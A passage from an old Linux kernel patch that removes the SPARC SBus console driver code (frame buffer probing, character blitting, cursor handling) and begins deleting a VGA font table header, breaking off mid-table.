- else { - if (frame_buffers == FRAME_BUFFERS) - return; /* Silently ignore */ - n = frame_buffers++; - } - - if (prom_fb) sun_prom_console_id = n; - - if (sbdp) io = sbdp->reg_addrs [0].which_io; - - /* Fill in common fb information */ - fbinfo [n].type.fb_type = type; - fbinfo [n].real_type = type; - fbinfo [n].prom_node = con_node; - memset (&(fbinfo [n].emulations), 0xff, sizeof (fbinfo [n].emulations)); - fbinfo [n].type.fb_height = prom_getintdefault(con_node, "height", 900); - fbinfo [n].type.fb_width = prom_getintdefault(con_node, "width", 1152); - fbinfo [n].type.fb_depth = (type == FBTYPE_SUN2BW) ? 1 : 8; - linebytes = prom_getint(con_node, "linebytes"); - if (linebytes == -1) linebytes = fbinfo [n].type.fb_width; - fbinfo [n].type.fb_size = PAGE_ALIGN((linebytes) * (fbinfo [n].type.fb_height)); - fbinfo [n].space = io; - fbinfo [n].blanked = 0; - fbinfo [n].base = con_base; - fbinfo [n].cursor.hwsize.fbx = 32; - fbinfo [n].cursor.hwsize.fby = 32; - fbinfo [n].proc_entry.node = parent_node; - fbinfo [n].proc_entry.rdev = MKDEV(GRAPHDEV_MAJOR, n); - fbinfo [n].proc_entry.mode = S_IFCHR | S_IRUSR | S_IWUSR; - prom_getname (con_node, fbinfo [n].proc_entry.name, 32 - 3); - p = strchr (fbinfo [n].proc_entry.name, 0); - sprintf (p, ":%d", n); - - /* Should be filled in for supported video cards */ - fbinfo [n].mmap = 0; - fbinfo [n].loadcmap = 0; - fbinfo [n].ioctl = 0; - fbinfo [n].reset = 0; - fbinfo [n].blank = 0; - fbinfo [n].unblank = 0; - fbinfo [n].setcursor = 0; - fbinfo [n].base_depth = fbinfo [n].type.fb_depth; - - /* Per card setup */ - switch (fbinfo [n].type.fb_type){ -#ifdef SUN_FB_CGTHREE - case FBTYPE_SUN3COLOR: - cg3_setup (&fbinfo [n], n, base, io, sbdp); - break; -#endif -#ifdef SUN_FB_TCX - case FBTYPE_TCXCOLOR: - tcx_setup (&fbinfo [n], n, con_node, base, sbdp); - break; -#endif -#ifdef SUN_FB_CGSIX - case FBTYPE_SUNFAST_COLOR: - cg6_setup (&fbinfo [n], n, base, io); - break; -#endif -#ifdef SUN_FB_BWTWO - case FBTYPE_SUN2BW: - bwtwo_setup (&fbinfo [n], n, base, io); - break; -#endif -#ifdef SUN_FB_CGFOURTEEN - case FBTYPE_MDICOLOR: - cg14_setup (&fbinfo [n], n, con_node, base, io); - break; -#endif -#ifdef SUN_FB_LEO - case FBTYPE_SUNLEO: - leo_setup (&fbinfo [n], n, base, io); - break; -#endif - default: - fbinfo [n].type.fb_type = FBTYPE_NOTYPE; - return; - } - if (!n) { - con_type = type; - con_height = fbinfo [n].type.fb_height; - con_width = fbinfo [n].type.fb_width; - con_depth = (type == FBTYPE_SUN2BW) ? 1 : 8; - for (i = 0; scr_def [i].depth; i++){ - if ((scr_def [i].resx != con_width) || - (scr_def [i].resy != con_height)) - continue; - if (scr_def [i].depth != con_depth) - continue; - x_margin = scr_def [i].x_margin; - y_margin = scr_def [i].y_margin; - chars_per_line = (con_width * con_depth) / 8; - skip_bytes = chars_per_line * y_margin + x_margin; - ints_per_line = chars_per_line / 4; - ints_per_cursor = 14 * ints_per_line; - bytes_per_row = CHAR_HEIGHT * chars_per_line; - ORIG_VIDEO_COLS = con_width / 8 - - 2 * x_margin / con_depth; - ORIG_VIDEO_LINES = (con_height - 2 * y_margin) / 16; - switch (chars_per_line) { - case 1280: - if (ORIG_VIDEO_COLS == 144) - color_fbuf_offset = - color_fbuf_offset_1280_144; - break; - case 1152: - if (ORIG_VIDEO_COLS == 128) - color_fbuf_offset = - color_fbuf_offset_1152_128; - break; - case 1024: - if (ORIG_VIDEO_COLS == 128) - color_fbuf_offset = - color_fbuf_offset_1024_128; - break; - case 800: - if (ORIG_VIDEO_COLS == 96) - color_fbuf_offset = - color_fbuf_offset_800_96; - break; - case 640: - if (ORIG_VIDEO_COLS == 80) - color_fbuf_offset = - color_fbuf_offset_640_80; - break; - } - break; - } - - if (!scr_def [i].depth){ - x_margin = y_margin = 0; - prom_printf ("console: unknown video resolution %dx%d," - " depth %d\n", - con_width, con_height, con_depth); - prom_halt (); - } - - /* P3: I fear this strips 15inch 1024/768 PC-like - * monitors out. */ - if ((linebytes*8) / con_depth != con_width) { - prom_printf("console: unusual video, linebytes=%d, " - "width=%d, height=%d depth=%d\n", - linebytes, con_width, con_height, - con_depth); - prom_halt (); - } - } -} - -__initfunc(static int sparc_console_probe(void)) -{ - int propl, con_node, default_node = 0, i; - char prop[16]; - struct linux_sbus_device *sbdp, *sbdprom; - struct linux_sbus *sbus; - int cg14 = 0; - char prom_name[40]; - int type; - uint con_base; - u32 prom_console_node = 0; - - for (i = 0; i < FRAME_BUFFERS; i++) - fbinfo [i].type.fb_type = FBTYPE_NOTYPE; - sbdprom = 0; - switch(prom_vers) { - case PROM_V0: - /* V0 proms are at sun4c only. Can skip many checks. */ - con_type = FBTYPE_NOTYPE; - if(SBus_chain == 0) { - prom_printf("SBUS chain is NULL, bailing out...\n"); - prom_halt(); - } - for_each_sbusdev(sbdp, SBus_chain) { - /* If no "address" than it is not the PROM console. */ - if(sbdp->num_vaddrs) { - if(known_card(sbdp->prom_name, v0_known_cards)) { - sbdprom = sbdp; - strncpy(prom_name, sbdp->prom_name, sizeof (prom_name)); - break; - } - } - } - if(!sbdprom) return -1; - for_each_sbusdev(sbdp, SBus_chain) { - con_node = sbdp->prom_node; - - if(!strncmp(sbdp->prom_name, "cgsix", 5) || - !strncmp(sbdp->prom_name, "cgthree+", 8)) { - type = FBTYPE_SUNFAST_COLOR; - } else if(!strncmp(sbdp->prom_name, "cgthree", 7) || - !strncmp(sbdp->prom_name, "cgRDI", 5)) { - type = FBTYPE_SUN3COLOR; - } else if (!strncmp(sbdp->prom_name, "bwtwo", 5)) { - type = FBTYPE_SUN2BW; - } else - continue; - sparc_framebuffer_setup (sbdprom == sbdp, con_node, type, sbdp, - (uint)sbdp->reg_addrs [0].phys_addr, sbdp->sbus_vaddrs[0], 0, - sbdp->my_bus->prom_node); - /* XXX HACK */ - if (sbdprom == sbdp && !strncmp(sbdp->prom_name, "cgRDI", 5)) - break; - } - break; - case PROM_V2: - case PROM_V3: - case PROM_P1275: - if (console_fb_path) { - char *q, c; - - for (q = console_fb_path; *q && *q != ' '; q++); - c = *q; - *q = 0; - default_node = prom_pathtoinode(console_fb_path); - if (default_node) { - prom_printf ("Using %s for console\n", console_fb_path); - prom_console_node = prom_inst2pkg(*romvec->pv_v2bootargs.fd_stdout); - if (prom_console_node == default_node) - prom_console_node = 0; - } - } - if (!default_node) - default_node = prom_inst2pkg(*romvec->pv_v2bootargs.fd_stdout); - propl = prom_getproperty(default_node, "device_type", - prop, sizeof (prop)); - if (propl < 0) { - prom_printf ("output-device doesn't have device_type property\n"); - prom_halt (); - } else if (propl != sizeof("display") || strncmp("display", prop, sizeof("display"))) { - prop [propl] = 0; - prom_printf ("console_probe: output-device is %s" - " (not \"display\")\n", prop); - prom_halt (); - } - for_all_sbusdev(sbdp, sbus) { - if ((sbdp->prom_node == default_node) - && known_card (sbdp->prom_name, known_cards)) { - sbdprom = sbdp; - break; - } - } - if (!sbdprom) /* I'm just wondering if this if shouldn't be deleted. - Is /obio/cgfourteen present only if /sbus/cgfourteen - is not? If so, then the test here should be deleted. - Otherwise, this comment should be deleted. */ - cg14 = cg14_present (); - if (!sbdprom && !cg14) { - prom_printf ("Could not find a known video card on this machine\n"); - prom_halt (); - } - - for_all_sbusdev(sbdp, sbus) { - if (!known_card (sbdp->prom_name, known_cards)) continue; - con_node = sbdp->prom_node; - prom_apply_sbus_ranges (sbdp->my_bus, &sbdp->reg_addrs [0], - sbdp->num_registers, sbdp); - - propl = prom_getproperty(con_node, "address", (char *) &con_base, 4); - if (propl != 4) con_base = 0; - propl = prom_getproperty(con_node, "emulation", prom_name, sizeof (prom_name)); - if (propl < 0 || propl >= sizeof (prom_name)) { - /* Early cg3s had no "emulation". */ - propl = prom_getproperty(con_node, "name", prom_name, sizeof (prom_name)); - if (propl < 0) { - prom_printf("console: no device name!!\n"); - return -1; - } - } - prom_name [sizeof (prom_name) - 1] = 0; - if(!strcmp(prom_name, "cgsix") || - !strcmp(prom_name, "cgthree+")) { - type = FBTYPE_SUNFAST_COLOR; - } else if(!strcmp(prom_name, "cgthree") || - !strcmp(prom_name, "cgRDI")) { - type = FBTYPE_SUN3COLOR; - } else if(!strcmp(prom_name, "cgfourteen")) { - type = FBTYPE_MDICOLOR; - } else if(!strcmp(prom_name, "SUNW,leo")) { - type = FBTYPE_SUNLEO; - } else if(!strcmp(prom_name, "bwtwo")) { - type = FBTYPE_SUN2BW; - } else if(!strcmp(prom_name,"SUNW,tcx")){ - sparc_framebuffer_setup (sbdprom == sbdp, con_node, FBTYPE_TCXCOLOR, sbdp, - (uint)sbdp->reg_addrs [10].phys_addr, con_base, - prom_console_node == con_node, sbdp->my_bus->prom_node); - continue; - } else { - prom_printf("console: \"%s\" is unsupported\n", prom_name); - continue; - } - sparc_framebuffer_setup (sbdprom == sbdp, con_node, type, sbdp, - (uint)sbdp->reg_addrs [0].phys_addr, con_base, - prom_console_node == con_node, sbdp->my_bus->prom_node); - /* XXX HACK */ - if (sbdprom == sbdp && !strncmp(sbdp->prom_name, "cgRDI", 5)) - break; - } - if (cg14) { - sparc_framebuffer_setup (!sbdprom, cg14, FBTYPE_MDICOLOR, - 0, 0, 0, prom_console_node == cg14, - prom_searchsiblings (prom_getchild (prom_root_node), "obio")); - } - break; - default: - return -1; - } - - if (fbinfo [0].type.fb_type == FBTYPE_NOTYPE) { - prom_printf ("Couldn't setup your primary frame buffer.\n"); - prom_halt (); - } - - if (fbinfo [0].blitc) - do_accel = 1; - - con_fb_base = (unsigned char *)fbinfo[0].base; - if (!con_fb_base){ - prom_printf ("PROM does not have an 'address' property for this\n" - "frame buffer and the Linux drivers do not know how\n" - "to map the video of this device\n"); - prom_halt (); - } - return fb_init (); -} - -/* video init code, called from within the SBUS bus scanner at - * boot time. - */ -__initfunc(unsigned long sun_console_init(unsigned long memory_start)) -{ - int i, j; - if(serial_console) - return memory_start; - - fbinfo = (fbinfo_t *)memory_start; - memset (fbinfo, 0, FRAME_BUFFERS * sizeof (fbinfo_t)); - if(sparc_console_probe()) { - prom_printf("Could not probe console, bailing out...\n"); - prom_halt(); - } - - sun_clear_screen(); - for (i = FRAME_BUFFERS; i > 1; i--) - if (fbinfo[i - 1].type.fb_type != FBTYPE_NOTYPE) break; - fbinfos = i; - memory_start = memory_start + i * sizeof (fbinfo_t); - for (j = 0; j < i; j++) - if (fbinfo[j].postsetup) - memory_start = (*fbinfo[j].postsetup)(fbinfo+j, memory_start); - for (j = 1; j < i; j++) - if (fbinfo[j].type.fb_type != FBTYPE_NOTYPE) { - sun_clear_fb(j); - set_other_palette(j); - } -#if defined(CONFIG_PROC_FS) && ( defined(CONFIG_SUN_OPENPROMFS) || defined(CONFIG_SUN_OPENPROMFS_MODULE) ) - for (j = 0; j < i; j++) - if (fbinfo[j].type.fb_type != FBTYPE_NOTYPE) - proc_openprom_regdev (&fbinfo[j].proc_entry); -#endif - return memory_start; -} - -/* - * sun_blitc - * - * Displays an ASCII character at a specified character cell - * position. - * - * Called from scr_writew() when the destination is - * the "shadow" screen - */ -static uint -fontmask_bits[16] = { - 0x00000000, - 0x000000ff, - 0x0000ff00, - 0x0000ffff, - 0x00ff0000, - 0x00ff00ff, - 0x00ffff00, - 0x00ffffff, - 0xff000000, - 0xff0000ff, - 0xff00ff00, - 0xff00ffff, - 0xffff0000, - 0xffff00ff, - 0xffffff00, - 0xffffffff -}; - -int -sun_blitc(uint charattr, unsigned long addr) -{ - unsigned int fgmask, bgmask; - unsigned char attrib; - int j, idx; - unsigned char *font_row; - - if (do_accel) { - (*fbinfo[0].blitc)(charattr, - x_margin + (((addr - video_mem_base) % video_size_row)<<2), - y_margin + CHAR_HEIGHT * ((addr - video_mem_base) / video_size_row)); - return 0; - } - - /* Invalidate the cursor position if necessary. */ - idx = (addr - video_mem_base) >> 1; - - attrib = CHARATTR_TO_SUNCOLOR(charattr); - font_row = &vga_font[(j = (charattr & 0xff)) << 4]; - - switch (con_depth){ - case 1: { - register unsigned char *dst; - unsigned long flags; - - dst = (unsigned char *)(((unsigned long)con_fb_base) + FBUF_OFFSET(idx)); - - save_and_cli(flags); - if ((!(charattr & 0xf000)) ^ (idx == cursor_pos)) { - for(j = 0; j < CHAR_HEIGHT; j++, font_row++, dst+=CHARS_PER_LINE) - *dst = ~(*font_row); - } else { - for(j = 0; j < CHAR_HEIGHT; j++, font_row++, dst+=CHARS_PER_LINE) - *dst = *font_row; - } - restore_flags(flags); - break; - } - case 8: { -#ifdef ASM_BLITC - const int cpl = chars_per_line; - /* The register assignment is important here, do not modify without touching the assembly code as well */ - register unsigned int x1 __asm__("g4"), x2 __asm__("g5"), x3 __asm__("g2"), x4 __asm__("g3"), flags __asm__("g7"); - register unsigned int *dst __asm__("g1"); -#else - const int ipl = ints_per_line; - unsigned int data2, data3, data4; - unsigned int data, rowbits; - register unsigned int *dst; - unsigned long flags; -#endif - const uint *fontm_bits = fontmask_bits; - - dst = (unsigned int *)(((unsigned long)con_fb_base) + COLOR_FBUF_OFFSET(idx)); - if (j == ' ') /* space is quite common, so we optimize a bit */ { -#ifdef ASM_BLITC -#define BLITC_SPACE \ - "\n\t std %%g4, [%%g1]" \ - "\n\t std %%g4, [%%g1 + %0]" \ - "\n\t add %%g1, %1, %%g1" -#define BLITC_SPC \ - "\n\t std %0, [%1]" \ - "\n\t std %0, [%1 + %2]" - - x1 = attrib >> 4; - x1 |= x1 << 8; - x1 |= x1 << 16; - x3 = cpl << 1; - - __asm__ __volatile__ ( - "\n\t mov %2, %3" - BLITC_SPACE - BLITC_SPACE - BLITC_SPACE - BLITC_SPACE - BLITC_SPACE - BLITC_SPACE - BLITC_SPACE - : : "r" (cpl), "r" (x3), "r" (x1), "r" (x2)); - save_and_cli (flags); - if (idx != cursor_pos) - __asm__ __volatile__ (BLITC_SPC : : "r" (x1), "r" (dst), "r" (cpl)); - else - __asm__ __volatile__ (BLITC_SPC : : "r" (x1), "r" (under_cursor), "i" (8)); - restore_flags (flags); -#else - bgmask = attrib >> 4; - bgmask |= bgmask << 8; - bgmask |= bgmask << 16; - - for(j = 0; j < CHAR_HEIGHT - 2; j++, font_row++, dst += ipl) { - *dst = bgmask; - *(dst+1) = bgmask; - } - /* Prevent cursor spots left on the screen */ - save_and_cli(flags); - if (idx != cursor_pos) { - *dst = bgmask; - *(dst+1) = bgmask; - dst += ipl; - *dst = bgmask; - *(dst+1) = bgmask; - } else { - under_cursor [0] = bgmask; - under_cursor [1] = bgmask; - under_cursor [2] = bgmask; - under_cursor [3] = bgmask; - } - restore_flags(flags); -#endif - } else /* non-space */ { - fgmask = attrib & 0x0f; - bgmask = attrib >> 4; - fgmask |= fgmask << 8; - fgmask |= fgmask << 16; - bgmask |= bgmask << 8; - bgmask |= bgmask << 16; - -#ifdef ASM_BLITC -#define BLITC_INIT \ - "\n\t ld [%0], %%g2" -#define BLITC_BODY(ST1,SC1,ST2,SC2) \ - "\n\t " #ST1 " %%g2, " #SC1 ", %%g7" \ - "\n\t " #ST2 " %%g2, " #SC2 ", %7" \ - "\n\t and %%g7, 0x3c, %%g7" \ - "\n\t and %7, 0x3c, %7" \ - "\n\t ld [%1 + %%g7], %6" \ - "\n\t and %6, %2, %%g7" \ - "\n\t andn %3, %6, %6" \ - "\n\t or %%g7, %6, %6" \ - "\n\t ld [%1 + %7], %7" \ - "\n\t and %7, %2, %%g7" \ - "\n\t andn %3, %7, %7" \ - "\n\t or %%g7, %7, %7" -#define BLITC_BODYEND \ - "\n\t sll %3, 2, %%g7" \ - "\n\t srl %3, 2, %3" \ - "\n\t and %%g7, 0x3c, %%g7" \ - "\n\t and %3, 0x3c, %3" \ - "\n\t ld [%0 + %%g7], %4" \ - "\n\t and %4, %1, %%g7" \ - "\n\t andn %2, %4, %4" \ - "\n\t or %%g7, %4, %4" \ - "\n\t ld [%0 + %3], %3" \ - "\n\t and %3, %1, %%g7" \ - "\n\t andn %2, %3, %3" \ - "\n\t or %%g7, %3, %3" -#define BLITC_STOREIT \ - "\n\t std %6, [%5]" \ - "\n\t add %5, %4, %5" \ - "\n\t" -#define BLITC_STORE \ - "\n\t std %%g4, [%0]" \ - "\n\t std %%g2, [%0 + %1]" - - for (j = 0; j < 3; j++, font_row+=4) { - __asm__ __volatile__ (BLITC_INIT - BLITC_BODY(srl, 26, srl, 22) - BLITC_STOREIT - BLITC_BODY(srl, 18, srl, 14) - BLITC_STOREIT - BLITC_BODY(srl, 10, srl, 6) - BLITC_STOREIT - BLITC_BODY(srl, 2, sll, 2) - BLITC_STOREIT - : : "r" (font_row), "r" (fontm_bits), "r" (fgmask), "r" (bgmask), "r" (cpl), "r" (dst), - "r" (x1), "r" (x2)); - } - __asm__ __volatile__ (BLITC_INIT - BLITC_BODY(srl, 26, srl, 22) - BLITC_STOREIT - BLITC_BODY(srl, 18, srl, 14) - BLITC_STOREIT - /* Now prepare date for the 15th line, but don't put it anywhere yet (leave it in g4,g5) */ - BLITC_BODY(srl, 10, srl, 6) - : : "r" (font_row), "r" (fontm_bits), "r" (fgmask), "r" (bgmask), "r" (cpl), "r" (dst), - "r" (x1), "r" (x2)); - /* Prepare the data the bottom line (and put it into g2,g3) */ - __asm__ __volatile__ (BLITC_BODYEND : : "r" (fontm_bits), "r" (fgmask), "r" (bgmask), - "r" (x3), "r" (x4)); - save_and_cli(flags); - if (idx != cursor_pos) - __asm__ __volatile__ (BLITC_STORE : : "r" (dst), "r" (cpl)); - else - __asm__ __volatile__ (BLITC_STORE : : "r" (under_cursor), "i" (8)); - restore_flags (flags); -#else - for(j = 0; j < CHAR_HEIGHT - 2; j++, font_row++, dst += ipl) { - rowbits = *font_row; - data = fontm_bits[(rowbits>>4)&0xf]; - data = (data & fgmask) | (~data & bgmask); - *dst = data; - data = fontm_bits[rowbits&0xf]; - data = (data & fgmask) | (~data & bgmask); - *(dst+1) = data; - } - rowbits = *font_row; - data = fontm_bits[(rowbits>>4)&0xf]; - data = (data & fgmask) | (~data & bgmask); - data2 = fontm_bits[rowbits&0xf]; - data2 = (data2 & fgmask) | (~data2 & bgmask); - rowbits = font_row[1]; - data3 = fontm_bits[(rowbits>>4)&0xf]; - data3 = (data3 & fgmask) | (~data3 & bgmask); - data4 = fontm_bits[rowbits&0xf]; - data4 = (data4 & fgmask) | (~data4 & bgmask); - - /* Prevent cursor spots left on the screen */ - save_and_cli(flags); - - if (idx != cursor_pos) { - *dst = data; - *(dst+1) = data2; - dst += ipl; - *dst = data3; - *(dst+1) = data4; - } else { - under_cursor [0] = data; - under_cursor [1] = data2; - under_cursor [2] = data3; - under_cursor [3] = data4; - } - - restore_flags(flags); -#endif - } - break; - } /* case */ - } /* switch */ - return (0); -} - -void memsetw(void * s, unsigned short c, unsigned int count) -{ - unsigned short * addr = (unsigned short *) s; - - count /= 2; - if (vt_cons[fg_console]->vc_mode == KD_GRAPHICS) { - while (count) { - count--; - *addr++ = c; - } - return; - } - if ((unsigned long) addr + count > video_mem_term || - (unsigned long) addr < video_mem_base) { - if ((unsigned long) addr + count <= video_mem_term || - (unsigned long) addr > video_mem_base) { - while (count) { - count--; - *addr++ = c; - } - return; - } else { - while (count) { - count--; - scr_writew(c, addr++); - } - } -#define GX_SETW (*fbinfo[0].setw)(x_margin + ((xoff - (addr - last)) << 3), y_margin + CHAR_HEIGHT * yoff, c, addr - last); - } else if (do_accel) { - int yoff = (addr - (unsigned short *)video_mem_base) / video_num_columns; - int xoff = (addr - (unsigned short *)video_mem_base) % video_num_columns; - unsigned short * last = addr; - - while (count) { - count--; - if (*addr != c) { - if (xoff == video_num_columns) { - if (last != addr) - GX_SETW - xoff = 0; - yoff++; - last = addr; - } - *addr++ = c; - xoff++; - } else { - if (last != addr) - GX_SETW - if (xoff == video_num_columns) { - xoff = 0; - yoff++; - } - addr++; - xoff++; - last = addr; - } - } - if (last != addr) - GX_SETW - } else { - while (count) { - count--; - if (*addr != c) { - sun_blitc(c, (unsigned long)addr); - *addr++ = c; - } else - addr++; - } - } -} - -void memcpyw(unsigned short *to, unsigned short *from, unsigned int count) -{ - if (vt_cons[fg_console]->vc_mode == KD_GRAPHICS) { - memcpy(to, from, count); - return; - } - if ((unsigned long) to + count > video_mem_term || - (unsigned long) to < video_mem_base) { - if ((unsigned long) to + count <= video_mem_term || - (unsigned long) to > video_mem_base) - memcpy(to, from, count); - else { - count /= 2; - while (count) { - count--; - scr_writew(scr_readw(from++), to++); - } - } -#define GX_CPYW (*fbinfo[0].cpyw)(x_margin + ((xoff - (to - last)) << 3), y_margin + CHAR_HEIGHT * yoff, last, to - last); - } else if (do_accel) { - int yoff = (to - (unsigned short *)video_mem_base) / video_num_columns; - int xoff = (to - (unsigned short *)video_mem_base) % video_num_columns; - unsigned short * last = to; - - count /= 2; - while (count) { - count--; - if (*to != *from) { - if (xoff == video_num_columns) { - if (last != to) - GX_CPYW - xoff = 0; - yoff++; - last = to; - } else if (last != to && (*last & 0xff00) != (*from & 0xff00)) { - GX_CPYW - last = to; - } - *to++ = *from++; - xoff++; - } else { - if (last != to) - GX_CPYW - if (xoff == video_num_columns) { - xoff = 0; - yoff++; - } - to++; - xoff++; - last = to; - from++; - } - } - if (last != to) - GX_CPYW - } else { - count /= 2; - while (count) { - count--; - if (*to != *from) { - sun_blitc(*from, (unsigned long)to); - *to++ = *from++; - } else { - from++; - to++; - } - } - } -} - -#undef pos -int -sun_hw_scursor (struct fbcursor *cursor, fbinfo_t *fb) -{ - int op = cursor->set; - int i, bytes = 0; - - if (op & FB_CUR_SETSHAPE){ - if ((uint) cursor->size.fbx > fb->cursor.hwsize.fbx) - return -EINVAL; - if ((uint) cursor->size.fby > fb->cursor.hwsize.fby) - return -EINVAL; - bytes = (cursor->size.fby * 32)/8; - i = verify_area (VERIFY_READ, cursor->image, bytes); - if (i) return i; - i = verify_area (VERIFY_READ, cursor->mask, bytes); - if (i) return i; - } - if (op & FB_CUR_SETCMAP){ - if (cursor->cmap.index && cursor->cmap.count != 2) - return -EINVAL; - i = verify_area (VERIFY_READ, cursor->cmap.red, 2); - if (i) return i; - i = verify_area (VERIFY_READ, cursor->cmap.green, 2); - if (i) return i; - i = verify_area (VERIFY_READ, cursor->cmap.blue, 2); - if (i) return i; - } - if (op & (FB_CUR_SETCUR | FB_CUR_SETPOS | FB_CUR_SETHOT)){ - if (op & FB_CUR_SETCUR) - fb->cursor.enable = cursor->enable; - if (op & FB_CUR_SETPOS) - fb->cursor.cpos = cursor->pos; - if (op & FB_CUR_SETHOT) - fb->cursor.chot = cursor->hot; - (*fb->setcursor) (fb); - } - if (op & FB_CUR_SETCMAP) - (*fb->setcursormap) (fb, cursor->cmap.red, cursor->cmap.green, cursor->cmap.blue); - if (op & FB_CUR_SETSHAPE){ - uint u; - - fb->cursor.size = cursor->size; - memset ((void *)&fb->cursor.bits, 0, sizeof (fb->cursor.bits)); - memcpy (fb->cursor.bits [0], cursor->mask, bytes); - memcpy (fb->cursor.bits [1], cursor->image, bytes); - u = ~0; - if (cursor->size.fbx < fb->cursor.hwsize.fbx) - u = ~(u >> cursor->size.fbx); - for (i = fb->cursor.size.fby - 1; i >= 0; i--) { - fb->cursor.bits [0][i] &= u; - fb->cursor.bits [1][i] &= fb->cursor.bits [0][i]; - } - (*fb->setcurshape) (fb); - } - return 0; -} - -static unsigned char hw_cursor_cmap[2] = { 0, 0xff }; - -void -sun_hw_hide_cursor (void) -{ - fbinfo[0].cursor.enable = 0; - (*fbinfo[0].setcursor)(&fbinfo[0]); - sun_hw_cursor_shown = 0; -} - -void -sun_hw_set_cursor (int xoff, int yoff) -{ - if (!sun_hw_cursor_shown) { - fbinfo[0].cursor.size.fbx = CHAR_WIDTH; - fbinfo[0].cursor.size.fby = CHAR_HEIGHT; - fbinfo[0].cursor.chot.fbx = 0; - fbinfo[0].cursor.chot.fby = 0; - fbinfo[0].cursor.enable = 1; - memset (fbinfo[0].cursor.bits, 0, sizeof (fbinfo[0].cursor.bits)); - fbinfo[0].cursor.bits[0][CHAR_HEIGHT - 2] = 0xff000000; - fbinfo[0].cursor.bits[1][CHAR_HEIGHT - 2] = 0xff000000; - fbinfo[0].cursor.bits[0][CHAR_HEIGHT - 1] = 0xff000000; - fbinfo[0].cursor.bits[1][CHAR_HEIGHT - 1] = 0xff000000; - (*fbinfo[0].setcursormap) (&fbinfo[0], hw_cursor_cmap, hw_cursor_cmap, hw_cursor_cmap); - (*fbinfo[0].setcurshape) (&fbinfo[0]); - sun_hw_cursor_shown = 1; - } - fbinfo[0].cursor.cpos.fbx = xoff; - fbinfo[0].cursor.cpos.fby = yoff; - (*fbinfo[0].setcursor)(&fbinfo[0]); -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/suncons_font.h linux/drivers/sbus/char/suncons_font.h --- linux-2.1.29/drivers/sbus/char/suncons_font.h Sat May 10 18:16:37 1997 +++ linux/drivers/sbus/char/suncons_font.h Wed Dec 31 19:00:00 1969 @@ -1,258 +0,0 @@ -unsigned char vga_font[cmapsz] = { -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x7e,0x81,0xa5,0x81,0x81,0xbd,0x99,0x81,0x81,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x7e,0xff,0xdb,0xff,0xff,0xc3,0xe7,0xff,0xff,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x6c,0xfe,0xfe,0xfe,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x10,0x38,0x7c,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x18,0x3c,0x3c,0xe7,0xe7,0xe7,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x18,0x3c,0x7e,0xff,0xff,0x7e,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0xff,0xff,0xff,0xff,0xff,0xff,0xe7,0xc3,0xc3,0xe7,0xff,0xff,0xff,0xff,0xff,0xff, -/* */ 0x00,0x00,0x00,0x00,0x00,0x3c,0x66,0x42,0x42,0x66,0x3c,0x00,0x00,0x00,0x00,0x00, -/* */ 0xff,0xff,0xff,0xff,0xff,0xc3,0x99,0xbd,0xbd,0x99,0xc3,0xff,0xff,0xff,0xff,0xff, -/* */ 0x00,0x00,0x1e,0x0e,0x1a,0x32,0x78,0xcc,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x3c,0x66,0x66,0x66,0x66,0x3c,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x3f,0x33,0x3f,0x30,0x30,0x30,0x30,0x70,0xf0,0xe0,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x7f,0x63,0x7f,0x63,0x63,0x63,0x63,0x67,0xe7,0xe6,0xc0,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x18,0x18,0xdb,0x3c,0xe7,0x3c,0xdb,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x80,0xc0,0xe0,0xf0,0xf8,0xfe,0xf8,0xf0,0xe0,0xc0,0x80,0x00,0x00,0x00,0x00, -/* */ 0x00,0x02,0x06,0x0e,0x1e,0x3e,0xfe,0x3e,0x1e,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x66,0x66,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x7f,0xdb,0xdb,0xdb,0x7b,0x1b,0x1b,0x1b,0x1b,0x1b,0x00,0x00,0x00,0x00, -/* */ 0x00,0x7c,0xc6,0x60,0x38,0x6c,0xc6,0xc6,0x6c,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xfe,0xfe,0xfe,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x18,0x0c,0xfe,0x0c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x30,0x60,0xfe,0x60,0x30,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xc0,0xc0,0xfe,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x24,0x66,0xff,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 